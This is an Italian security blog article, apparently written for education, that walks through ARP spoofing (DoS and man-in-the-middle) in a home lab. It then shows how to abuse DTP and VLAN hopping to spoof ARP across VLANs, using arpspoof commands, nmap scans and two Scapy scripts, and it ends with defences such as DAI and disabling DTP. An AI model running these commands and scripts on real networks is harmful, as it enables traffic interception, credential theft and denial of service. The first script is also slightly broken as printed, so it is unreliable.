DTP e Tecniche di VLAN Hopping 

Articolo di Giuseppe Longobardi (Team Hackerhood)

L’ARP Spoofing è una tecnica di attacco ampiamente conosciuta che sfrutta le debolezze del protocollo ARP per deviare o intercettare il traffico su una rete locale. Sebbene efficace, presenta alcune limitazioni intrinseche nella sua capacità di manipolare il traffico su reti più complesse. Questo articolo mira a esplorare metodi avanzati per estendere i limiti dell’ARP Spoofing, concentrando l’attenzione sull’exploit di vulnerabilità nel protocollo Dynamic Trunking Protocol (DTP) e su tecniche di attacco come il VLAN Hopping.

Verranno discusse strategie innovative per combinare questi elementi e sfruttare i canali in trunk, aprendo nuove frontiere nell’ambito degli attacchi di rete. È fondamentale sottolineare che l’uso non autorizzato di queste tecniche è illegale e questo articolo ha scopo puramente educativo, per promuovere la consapevolezza e la difesa contro potenziali minacce informatiche.

In particolare, esamineremo come un attaccante possa:

  1. Sfruttare le vulnerabilità nel protocollo DTP per guadagnare l’accesso a canali in trunk non autorizzati.
  2. Utilizzare tecniche di VLAN Hopping per bypassare misure di sicurezza e accedere a segmenti di rete isolati.
  3. Combinare queste metodologie con l’ARP Spoofing per creare un attacco complesso e altamente efficace.

Con questa fondazione, forniremo un quadro completo che permetterà ai professionisti della sicurezza di comprendere meglio le potenziali vulnerabilità nella loro infrastruttura di rete e come mitigarle.

Prima di affrontare quanto descritto, illustreremo come mettere in piedi il laboratorio per l’esercitazione e una breve presentazione dell’attacco ARP SPOOFING senza le integrazioni appena citate.

Introduzione all’ARP Spoofing

L’ARP Spoofing è una tecnica di attacco che sfrutta il protocollo ARP per deviare o intercettare il traffico di rete su una LAN. In questa manovra, un attaccante invia pacchetti ARP falsificati per associare il proprio indirizzo MAC con l’indirizzo IP di un altro host, come un computer o un gateway. Una volta riuscito, l’attaccante può ricevere dati destinati all’host target, alterarli o inoltrarli, creando una varietà di scenari di attacco come il Man-in-the-Middle.

ARP Spoofing Half-Duplex vs Full-Duplex

Nel contesto dell’ ARP Spoofing, i termini “half-duplex” e “full-duplex” si riferiscono al modo in cui l’attaccante gestisce il traffico che intercetta.

ARP Spoofing Half-Duplex: In questa modalità, l’attaccante riceve i dati dalla vittima ma non li inoltra al destinatario originale. In altre parole, l’attaccante agisce come un punto di terminazione per il traffico. Questo può interrompere la comunicazione tra la vittima e il destinatario originale, ma permette all’attaccante di ispezionare o modificare i dati ricevuti.

Questa tecnica è adoperata per DoS (Denial of Service), cioè per impedire ad un dispositivo di comunicare nella rete. Infatti è anche nota come “ARP Banning”

ARP Spoofing Full-Duplex: In questa modalità, l’attaccante si pone tra due parti e inoltra attivamente i dati tra di loro, agendo come un intermediario. Questo tipo di attacco è più difficile da rilevare perché la comunicazione tra la vittima e il destinatario originale continua come se nulla fosse. Tuttavia, l’attaccante ha la possibilità di ispezionare, modificare o catturare i dati che passano attraverso.

Questa tecnica è adoperata per MITM (Man in The Middle), cioè per intercettare il traffico tra la vittima ed il resto della rete.

In sintesi, l’ARP Spoofing half-duplex interrompe la comunicazione ma può essere più facile da rilevare, mentre il full-duplex consente una manipolazione più subdola del traffico senza interrompere la connessione tra gli host originali.

Allestimento laboratorio

Il nostro laboratorio si compone di 5 elementi fondamentali:

  1. Un Wireless Router 
  2. Un Desktop 
  3. Un Laptop 
  4. VM Kali Linux su Desktop
  5. VM Windows 10 su Desktop
  6. VM Windows 10 su Laptop

Come si può notare la VM sul laptop ha un IP che non appartiene alla subnet delle altre macchine, questo perché la NIC del Laptop è connessa tramite standard 802.11ax. Le NIC Wireless non supportano la possibilità di ospitare VM in modalità bridged. In questo caso quindi per far comunicare tutti gli apparati è necessario implementare una regola di nat sul LAPTOP usando netsh. In questo scenario quindi agli occhi della rete il server sarà il Laptop, ospitando il servizio sulla porta 80 ma grazie al port forwarding il vero server sarà sulla VM che il Laptop ospita. 

Tramite i comandi mostrati nello screenshot precedente abbiamo quindi creato una regola di port forwarding per i servizi web. Grazie a questo comando adesso il laptop quando riceverà delle richieste di servizio sulla porta 80 le inoltrerà alla VM che ospita il server web, proprio come farebbe un router. Visualizziamo la corretta configurazione con il comando show all.

Adesso verifichiamo che effettivamente il server web risponda alle richieste sull’ip del laptop. Facciamolo direttamente dalla macchina della vittima.

Come possiamo vedere tutto sembra funzionare correttamente. Il nostro laboratorio è quindi pronto per avviare la sessione.

Dimostrazioni pratiche in laboratorio

In questa sezione, esploreremo due varianti specifiche degli attacchi ARP Spoofing: il half-duplex e il full-duplex. Questi attacchi sfruttano le debolezze del protocollo ARP per deviare o intercettare il traffico su una rete locale. È fondamentale sottolineare che l’uso non autorizzato di queste tecniche è considerato illegale e potrebbe comportare gravi conseguenze legali. Il nostro obiettivo è fornire una comprensione tecnica delle metodologie per promuovere la consapevolezza e la preparazione alla difesa contro tali attacchi.

Network Discovery

per la parte di monitoraggio e Network Discovery possiamo iniziare con i seguenti comandi lanciati dalla macchina “Attaccante”:

nmap -sn -v –open 192.168.178.0/24

  1. -sn: Esegue una scansione ping di rilevamento host, senza scansionare le porte.
  2. -v: Aumenta la verbosità dell’output, fornendo più dettagli sulla scansione.
  3. –open: Filtra l’output per mostrare solo le porte aperte ( in questo caso mostra solo gli host che rispondono al ping)
  4. 192.168.178.0/24: Definisce la subnet sulla quale eseguire la scansione.

nmap -A -T4 192.168.178.0/24

  1. -A: Abilita la scansione avanzata, che include la rilevazione del sistema operativo, la versione del servizio, la scansione dei script Nmap e altre funzionalità.
  2. -T4: Imposta il livello di tempismo a “aggressivo”, accelerando la scansione.
  3. 192.168.178.0/24: Definisce la subnet sulla quale eseguire la scansione.

(OUTPUT COMANDO OMESSO PER RAGIONI DI SPAZIO, l’unica cosa interessante era la porta 80 aperta del laptop)

Da questi comandi individuiamo quindi le macchine ;

  • VM Windows 10 sul Desktop (Vittima)
  • il laptop con la porta 80 aperta (che ospita la VM dove c’è il server web)

ARP SPOOFING – Half Duplex (DoS)

Gli step fondamentali per poter portare a termine correttamente il nostro attacco arp spoofing half-duplex (o anche arp banning) sono i seguenti:

STEP 1:

Sulla macchina vittima digitiamo il comando

ping -t 192.168.178.65

Descrizione comando:

-t: Esegue un ping continuo fino a interruzione manuale (Ctrl+C).

192.168.178.65: Indirizzo IP del host da pingare.

STEP 2:

Sulla macchina attaccante apriamo wireshark, selezioniamo la scheda di rete opportuna e impostiamo il seguente filtro: eth.addr == 00:0C:29:F1:B9:40 && arp

Descrizione Filtro:

  • eth.addr == 00:0C:29:F1:B9:40: Questa parte del filtro si concentra sull’indirizzo MAC specificato (00:0C:29:F1:B9:40). Filtra i pacchetti che contengono questo indirizzo MAC come indirizzo sorgente o destinazione a livello Ethernet.
  • &&: Operatore logico “E”, utilizzato per combinare più condizioni nel filtro.
  • arp: Filtra i pacchetti che utilizzano il protocollo ARP (Address Resolution Protocol).

In sintesi, il filtro “eth.addr == 00:0C:29:F1:B9:40 && arp” in Wireshark mostrerà solo i pacchetti ARP che coinvolgono l’indirizzo MAC specificato (00:0C:29:F1:B9:40) come indirizzo sorgente o destinazione.

STEP 3:

Sulla macchina attaccante digitiamo il comando:

arpspoof -i eth0 -t 192.168.178.50 192.168.178.65

Descrizione Comando: 

  • arpspoof: Strumento utilizzato per eseguire un attacco ARP Spoofing.
  • -i eth0: Specifica l’interfaccia di rete (eth0 in questo caso) attraverso cui inviare i pacchetti ARP falsificati.
  • -t 192.168.178.50: Indica l’indirizzo IP della vittima target dell’attacco.
  • 192.168.178.65: Indica l’indirizzo IP del gateway o dell’host che si desidera impersonare.

STEP 4:

Sulla macchina vittima verifichiamo se il ping sta continuando a funzionare dopo l’inizio dell’attacco.

Come possiamo verificare dall’inizio dell’attacco la macchina vittima è impossibilitata alla comunicazione con il laptop che ospita il server web (tramite la VM) quindi il nostro ARP BANNING è andato a buon fine, di fatto concretizzandosi in un DoS (Denial of Service).

ARP SPOOFING – Full Duplex (MITM)

Gli step fondamentali per poter portare a termine correttamente il nostro attacco arp spoofing full-duplex sono i seguenti:

STEP 1:

Sulla macchina attaccante apriamo wireshark, selezioniamo la scheda di rete opportuna e impostiamo il seguente filtro:

eth.addr == 00:0C:29:F1:B9:40 && http && ip.addr == 192.168.178.65

Descrizione Filtro:

  • eth.addr == 00:0C:29:F1:B9:40: Filtra i pacchetti che hanno l’indirizzo MAC 00:0C:29:F1:B9:40 come indirizzo sorgente o destinazione.
  • &&: Operatore logico “E” per combinare più condizioni.
  • http: Filtra i pacchetti che utilizzano il protocollo HTTP.
  • &&: Altro operatore logico “E”.
  • ip.addr == 192.168.178.65: Filtra i pacchetti che hanno l’indirizzo IP 192.168.178.65 come indirizzo sorgente o destinazione.

STEP 2:

Sulla macchina attaccante apriamo due terminali e digitiamo rispettivamente i comandi:

  • arpspoof -i eth0 -t 192.168.178.50 192.168.178.65
  • arpspoof -i eth0 -t 192.168.178.65 192.168.178.50

(Descrizione omessa, guarda STEP 3 della sezione precedente)

Questo farà in modo di far credere a 192.168.178.50 che noi (attaccante) siamo 192.168.178.65 e viceversa.In questo modo ci metteremo nel mezzo delle comunicazioni e saremo in grado di intercettare i PDU (Protocol Data Unit) che 192.168.178.50 e 192.168.178.65 si scambieranno. Questo sarà apprezzabile in wireshark.

STEP 3:

Dalla macchina vittima generiamo una richiesta HTTP verso il server, in questo caso registreremo un nuovo utente alla piattaforma.

STEP 4:

Dalla macchina attaccante su wireshark, possiamo verificare che il pacchetto diretto a 192.168.178.65 sulla porta 80 con protocollo HTTP e proveniente da 192.168.178.50 (la vittima) è stato intercettato correttamente grazie all’ARP SPOOF. Dato che si sta usando HTTP che è un protocollo senza crittografia, saremo in grado di visualizzare i dati in chiaro. Ricordiamo che i dati sono trasmessi in esadecimale, quindi vanno decodificati per poterli visualizzare in chiaro.

Come possiamo vedere sulla destra il pacchetto inviato presenta sia l’immagine JPEG che il contenuto della password in chiaro (evidenziato) sulla destra. Sopra se si analizza il PDU si nota anche la presenza degli altri parametri: nome, cognome, email, etc.

Quindi il nostro attacco riesce correttamente a catturare ed inoltrare in modo stealth i pacchetti provenienti dalla vittima al server e viceversa senza che nessuno dei due se ne accorga.

Limiti dell’ARP SPOOFING

Questa tecnica d’attacco si mostra potenzialmente molto interessante sia per quanto concerne la parte di DoS (ARP Banning) che MITM. Tuttavia, il limite principale è che l’attaccante deve essere nella stessa subnet della vittima. Questo è certamente vero perché nel caso in cui facessimo una richiesta ARP contenente come Target IP un IP non appartenente alla nostra subnet, a rispondere non sarà la vittima ma bensì il nostro gateway.

Nel caso di reti abilitate a routing inter-vlan con ROAS (Router on a Stick) o comunque in caso di presenza di collegamenti trunk ridondanti tra i vari switch, è possibile fare ARP Spoofing da VLAN (e quindi subnet) differenti. 

In questo scenario ipotizziamo che l’attaccante si trovi nella VLAN 10 con Subnet ID 192.168.1.0/24 mentre la vittima nella VLAN 20 con Subnet ID 192.168.2.0/24. Se l’attaccante provasse a condurre un ARP SPOOFING Attack contro la vittima, quest’ultimo non riuscirebbe a comunicare direttamente per via della mancata appartenenza alla stessa subnet. 

Attaccante: IP 192.168.1.5, MAC 00:00:00:11:11:11

Vittima: IP 192.168.2.7, MAC 00:00:00:22:22:22

Superamento dei limiti dell’ ARP SPOOFING

Gli step fondamentali per poter portare a termine correttamente il nostro attacco arp spoofing full-duplex da VLAN diverse sono i seguenti:

STEP 1:

Ipotizzando che lo Switch SW2 abbia il protocollo DTP (Dynamic Trunking Protocol) è possibile forzare la negoziazione del canale da “Access” a “Trunk”. Per forzare l’interfaccia ad autosettarsi in modalità “Trunk” è possibile eseguire questo script Python:

#!/usr/bin/env python3
#Import Scapy
from scapy.all import *from scapy.all import *

load_contrib(“dtp”)

#Capture DTP frame
pkt = sniff(filter=”ether dst 01:00:0c:cc:cc:cc”,count=1)    

#Change the MAC address
pkt[0].src=”00:00:00:11:11:11″

#Change to pkt[0][DTP][DTPStatus].status=’\x03′

#Send frame into network

sendp(pkt[0], loop=0, verbose=1)

Descrizione dello script:

  • #!/usr/bin/env python3: Specifica che lo script deve essere eseguito usando Python 3.
  • from scapy.all import *: Importa tutti i moduli da Scapy, una libreria Python per la manipolazione di pacchetti di rete.
  • load_contrib(“dtp”): Carica il modulo contributivo di DTP in Scapy.
  • pkt = sniff(filter=”ether dst 01:00:0c:cc:cc:cc”,count=1): Cattura un singolo frame che ha come indirizzo MAC di destinazione “01:00:0c:cc:cc:cc”, che è l’indirizzo multicast riservato per i pacchetti DTP.
  • pkt[0].src=”00:00:00:11:11:11″: Cambia l’indirizzo MAC sorgente del frame catturato in “00:00:00:11:11:11”.
  • pkt[0][DTP][DTPStatus].status=’\x03‘: Modifica il campo “status” nel payload DTP per impostarlo come “desirable”, che indica la volontà di formare un trunk.
  • sendp(pkt[0], loop=0, verbose=1): Invia il frame modificato nella rete.

Prima di avviare lo script verifichiamo lo stato di DTP su SW2

Come possiamo vedere è attivo di default, verifichiamo ora lo stato delle interfacce

Come possiamo vedere le interfacce F0/1, F0/2 e F0/3 sono connesse. L’attaccante è connesso all’interfaccia F0/1. Adesso Lanciamo lo script e verifichiamo lo stato delle interfacce.

Come possiamo vedere siamo riusciti a forzare l’interfaccia a settarsi in trunk grazie a DTP.

STEP 2:

Adesso che abbiamo forzato il canale a trunk, possiamo craftare dei PDU ed inviarli direttamente alla vittima grazie al canale trunk. Prima di fare questo però dovremmo assegnare un IP nella stessa subnet della vittima, in modo da avere la possibilità di accettare i pacchetti provenienti da quest’ultima. 

Dato che adesso abbiamo un interfaccia in trunk e nativamente la nostra scheda di rete comunica usando frame ARPA (Ethernet II) questi non sono compatibili con la struttura dati richiesta dai canali trunk (802.1q) quindi prima di condurre l’app spoof e prima di assegnare un IP appartenente alla subnet della vittima nella nostra NIC dobbiamo prepararci questo script Python:

from scapy.all import Ether, Dot1Q, ARP, sendp

i = 0
# Crea il pacchetto con header Ethernet e 802.1Q
packet = Ether(dst=”ff:ff:ff:ff:ff:ff”, src=”00:00:00:11:11:11″) / \
Dot1Q(vlan=20) / \
ARP(op=2, psrc=”192.168.2.1″, pdst=”192.168.2.7″, hwdst=”00:00:00:22:22:22″)

# Mostra il pacchetto
packet.show()

# Invia il pacchetto
while True:
print(f”Invio del pacchetto numero {i}”)
sendp(packet)
i += 1

         

Descrizione dello script:

  • from scapy.all import Ether, Dot1Q, ARP, sendp: Importa le classi necessarie dalla libreria Scapy.
  • i = 0: Inizializza una variabile contatore i a 0.
  • packet = Ether(dst=”ff:ff:ff:ff:ff:ff”, src=”00:00:00:11:11:11″) / …: Crea un pacchetto con un header Ethernet. L’indirizzo MAC di destinazione è impostato a “ff:ff:ff:ff:ff:ff”, che è l’indirizzo broadcast, mentre l’indirizzo MAC sorgente è “00:00:00:11:11:11”.
  • Dot1Q(vlan=20): Aggiunge un header 802.1Q al pacchetto per indicare che appartiene alla VLAN 20.
  • ARP(op=2, psrc=”192.168.2.1″, pdst=”192.168.2.7″, hwdst=”00:00:00:22:22:22″): Crea un pacchetto ARP con l’operazione impostata su 2 (indicante una risposta ARP). L’indirizzo IP sorgente è “192.168.2.1” e l’indirizzo IP di destinazione è “192.168.2.7”. L’indirizzo MAC hardware di destinazione è “00:00:00:22:22:22”.
  • packet.show(): Visualizza i dettagli del pacchetto costruito.
  • while True: …: Avvia un ciclo infinito che invia ripetutamente il pacchetto sulla rete. Ogni volta che il pacchetto è inviato, stampa un messaggio con il numero di pacchetti inviati finora, incrementando il contatore i.

Dopo l’invio di questi pacchetti su frame 802.1q verso la vlan della vittima (Vlan Hopping) la vittima invierà tutti i dati prima verso l’hacker (che crede sia il router per via del psrc=”192.168.2.1”), permettendo di fatto un ARP SPOOFING da reti adiacenti. Il resto degli effetti lo abbiamo già presentato nella sezione precedente, da qui in poi è tutto equivalente ad un canonico ARP SPOOF.

Strategie di difesa

Dopo aver esplorato in dettaglio la natura e le modalità dell’attacco ARP Spoofing, è fondamentale discutere le misure preventive e le soluzioni disponibili per mitigare questo tipo di minaccia. L’ARP Spoofing può compromettere gravemente la sicurezza di una rete, ma fortunatamente esistono vari strumenti e tecniche che possono essere impiegati per proteggere le infrastrutture di rete. 

In questa sezione, passeremo in rassegna alcune delle strategie di difesa più efficaci, come Port Security, Dynamic ARP Inspection e DHCP Snooping, tra le altre. Esamineremo le peculiarità di ciascuna soluzione, i contesti in cui risultano più efficaci e come possono essere implementate per garantire un ambiente di rete sicuro e resiliente. Di Seguito gli step per rendere la rete resiliente a questo tipo di attacchi:

STEP 1:

Implementazione del servizio Port Security.

Port Security è un servizio di sicurezza disponibile sulla maggior parte degli switch gestiti, tra cui quelli Cisco. Essa permette di associare indirizzi MAC specifici alle porte fisiche dello switch. In questo modo, solo i dispositivi con indirizzi MAC pre-autorizzati possono connettersi a una determinata porta. Se un dispositivo non autorizzato tenta di collegarsi, la porta può essere configurata per disabilitarsi automaticamente, inviare un allarme o intraprendere altre azioni.

STEP 2:

Implementazione del Servizio DHCP Snooping.

DHCP Snooping è una funzione di sicurezza che agisce come un filtro tra i server DHCP e i client DHCP all’interno della rete. Lo scopo principale è di prevenire gli attacchi DHCP Spoofing, che possono portare a una varietà di problemi di sicurezza, tra cui la divulgazione di informazioni sensibili e l’intercettazione del traffico di rete. DHCP Snooping classifica le interfacce di uno switch in “affidabili” e “non affidabili”. I pacchetti DHCP da server DHCP autorizzati sono permessi solo attraverso le porte affidabili, mentre le porte non affidabili possono gestire solo richieste DHCP da client.

STEP 3:

Implementazione del servizio Dynamic Arp Inspection.

Dynamic ARP Inspection (DAI) è una tecnica di sicurezza utilizzata per proteggere una rete dai potenziali attacchi ARP Spoofing. Questa funzione è disponibile su molti switch, sia di livello 2 che di livello 3, e opera ispezionando i pacchetti ARP che attraversano lo switch. DAI confronta il contenuto dei pacchetti ARP con una tabella di affidabilità (spesso generata con l’aiuto di DHCP Snooping) che associa indirizzi IP a indirizzi MAC. Se un pacchetto ARP non è conforme alle informazioni presenti nella tabella, può essere bloccato, tracciato o altrimenti gestito, a seconda della configurazione dello switch.

STEP 4:

Disabilitazione del servizio DTP.

Esistono ulteriori soluzioni che è possibile implementare ma già con questi 4 step la rete sarà protetta da attacchi ARP SPOOFING.

Comments are closed